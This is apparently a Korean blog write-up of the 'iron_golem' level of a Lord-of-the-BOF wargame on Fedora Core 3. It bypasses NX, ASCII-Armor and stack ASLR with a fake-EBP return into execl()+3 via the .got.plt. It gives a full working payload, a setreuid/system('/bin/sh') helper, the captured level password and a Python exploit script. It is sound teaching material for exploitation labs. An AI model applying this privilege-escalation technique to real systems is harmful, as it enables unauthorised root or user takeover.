iron_golem
keyword : Fake_SFP + Ascii
/* The Lord of the BOF : The Fellowship of the BOF - iron_golem - Local BOF on Fedora Core 3 - hint : fake ebp */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
f6dea000-f6df1000 rw-p f6dea000 00:00 0 f6df1000-f6df7000 r--s 00000000 fd:00 572196 /usr/lib/gconv/gconv-modules.cache f6df7000-f6ff7000 r--p 00000000 fd:00 558549 /usr/lib/locale/locale-archive f6ff7000-f6ff9000 rw-p f6ff7000 00:00 0 fef11000-ff000000 rw-p fef11000 00:00 0 ffffe000-fffff000 ---p 00000000 00:00 0
NX-bit가 설정되어 있어 스택(0xfe영역)에서 쉘코드를 실행하는 것이 불가능하다.
[gate@Fedora_1stFloor ~]$ ldd iron_golem libc.so.6 => /lib/tls/libc.so.6 (0x0071c000) /lib/ld-linux.so.2 (0x00703000)
ASCII-Armor로 설정되어 있으므로 라이브러리 주소를 사용할 수 없다.
[gate@Fedora_1stFloor ~]$ cat /proc/self/maps > 1 [gate@Fedora_1stFloor ~]$ cat /proc/self/maps > 2 [gate@Fedora_1stFloor ~]$ diff 1 2 10c10 < 09575000-09596000 rw-p 09575000 00:00 0 --- > 09c7c000-09c9d000 rw-p 09c7c000 00:00 0 13c13 < fef16000-ff000000 rw-p fef16000 00:00 0 --- > fee32000-ff000000 rw-p fee32000 00:00 0
스택(0xfe역역)에 ASLR도 설정되어있음을 알 수 있다.
적용된 메모리 보호기법을 정리하면 다음과 같다.
- NX-bit : 스택에 쉘코드 실행 불가.
- ASCII-Armor : ASCII-Armor가 설정되어 있지 않다면, ret에 execl()를 넣고 뒤에 이어서 인자값들을 넣어 실행 하면 되지만, ASCII-Armor로 인해 "\0" 값이 들어 가기 때문에 strcpy취약점으로 BoF를 일으킬때 페이로드가 끊긴다.(strcpy는 "\0"을 만날 때 까지 string값을 가져오기 때문)
- 스택 ASLR : 스택영역 주소가 계속 바뀌기 때문에 주소 사용 힘듦.
따라서, ASLR을 우회하기 위해 주소가 변하지 않는 bss영역이나 got영역을 사용한다. 그리고 ret함수의 인자값을 참조시키기 위해 Fake EBP를 사용한다.
int execl(const char *path, const char *arg, ...)
execl의 함수의 정의 이다.
보통 함수들의 첫 번째 인자는 EBP+8, 두 번째 인자는 EBP+12 ...이렇게 들어가게 된다.
.got.plt의 주소를 알아보자.
[gate@Fedora_1stFloor ~]$ readelf -S iron_golem There are 28 section headers, starting at offset 0x840: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al -----(생략)----- [21] .got.plt PROGBITS 08049618 000618 00001c 04 WA 0 0 4 [22] .data PROGBITS 08049634 000634 00000c 00 WA 0 0 4 [23] .bss NOBITS 08049640 000640 000004 00 WA 0 0 4 -----(생략)-----
got영역의 주소를 보면 0x08049618임을 확인 할 수 있다.
(gdb) x/8wx 0x8049618 0x8049618 <_GLOBAL_OFFSET_TABLE_>: 0x0804954c 0x007194f8 0x0070e9e0 0x00730d50
해당 주소를 보면 0x0804954c를 가리키고 있다.
(gdb) x/x 0x0804954c 0x804954c <_DYNAMIC>: 0x00000001
주소를 따라가보면 1이라는 값을 가지고 있다.
.got.plt 를 따라가보면 거의 대부분 1이라는 값을 가리키고 있기 때문에 이를 많이 사용한다.
여기서 중요한점은 FakeEBP를 사용하는 이유는 execl()함수의 인자값으로 참조 시키기 위함이라고 설명하였다.
그리고 대부분 함수에서 인자들은 EBP를 기준으로 EBP+8, EBP+12 이렇게 들어간다고 설명하였다.
따라서 우리도 이거에 맞춰서 .got.plt주소의 -8한 값을 넘겨주어야 EBP가 우리가 원하는 값으로 셋팅이 된다.
위와 같이 메모리상태가 되게 되면 execl("\x01") 함수가 실행되는 형태가 된다.
여기까지 execl함수를 이용하여 실행하는 것까지 되었지만, "\x01"이 실행되기 때문에 우리가 원하는 것이 실행되지 않는다.
이때 심볼릭 링크를 사용하여 뭔하는 프로그램이 실행되도록 하면 된다.
[gate@Fedora_1stFloor ~]$ cat ex.c #include<stdio.h> int main(){ setreuid(geteuid(), geteuid()); system("/bin/sh"); return 0; }
위 처럼 권한상승하는 ex라는 프로그램을 만들어 준다.
그리고 ex프로그램을 "\x01"라는 이름으로 심볼릭링크 걸어주면, execl("\x01")이 실행되면 ex프로그램이 실행되어 권한 상승이 일어나고 쉘이 실행되게 된다.
[gate@Fedora_1stFloor ~]$ ln -s ./ex `python -c 'print "\x01"'` [gate@Fedora_1stFloor ~]$ ls -l total 80 lrwxrwxrwx 1 gate gate 4 Aug 1 12:46 ? -> ./ex
이제 execl()의 주소를 알아보자.
(gdb) p execl $1 = {<text variable, no debug info>} 0x7a5720 <execl>
execl()의 주소는 0x7a5720이다. 여기서 생각해야 할 점은 우리는 FakeEBP기법을 이용해서 EBP 주소를 조작하고 있다.
따라서 함수에 프롤로그를 주의해야 한다.
(gdb) x/16i 0x7a5720 0x7a5720 <execl>: push %ebp 0x7a5721 <execl+1>: mov %esp,%ebp 0x7a5723 <execl+3>: lea 0x10(%ebp),%ecx 0x7a5726 <execl+6>: push %edi 0x7a5727 <execl+7>: push %esi 0x7a5728 <execl+8>: push %ebx 0x7a5729 <execl+9>: sub $0x1038,%esp 0x7a572f <execl+15>: mov 0xc(%ebp),%eax 0x7a5732 <execl+18>: movl $0x400,0xfffffff0(%ebp) 0x7a5739 <execl+25>: lea 0x1b(%esp),%edx 0x7a573d <execl+29>: and $0xfffffff0,%edx
execl()를 살펴보면 함수의 프롤로그가 시작되면서 EBP를 재설정한다.
때문에 우리가 조작해 둔 FakeEBP가 무용지물 되므로, 프롤로그 이후 부터 실행되게 만들어야 한다.
따라서 ret주소에 execl()+3 주소를 사용해야 한다.
이제 준비는 다 됬다.
페이로드를 정리해보면,
- buffer[256] + dummy[8]
- .got.plt-8주소 : 0x8049618 - 8 : 0x8049610
- execl()주소+3 : 0x007a5720 + 3 : 0x007a5723
[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz sh-3.00$ id uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t sh-3.00$ my-pass euid = 501 blood on the fedora
파이썬 코드로도 ex를 짜보는 연습을 해보자.
import struct import os p32 = lambda x : struct.pack("<I", x) target = "/home/gate/iron_golem" fake_ebp = 0x8049618 execl = 0x7a5720 payload = "A"*264 payload += p32(fake_ebp - 0x8) payload += p32(execl + 0x3) os.execv(target, (target, payload[:-1]))
**iron_golem / blood on the fedora
잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :) 태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 |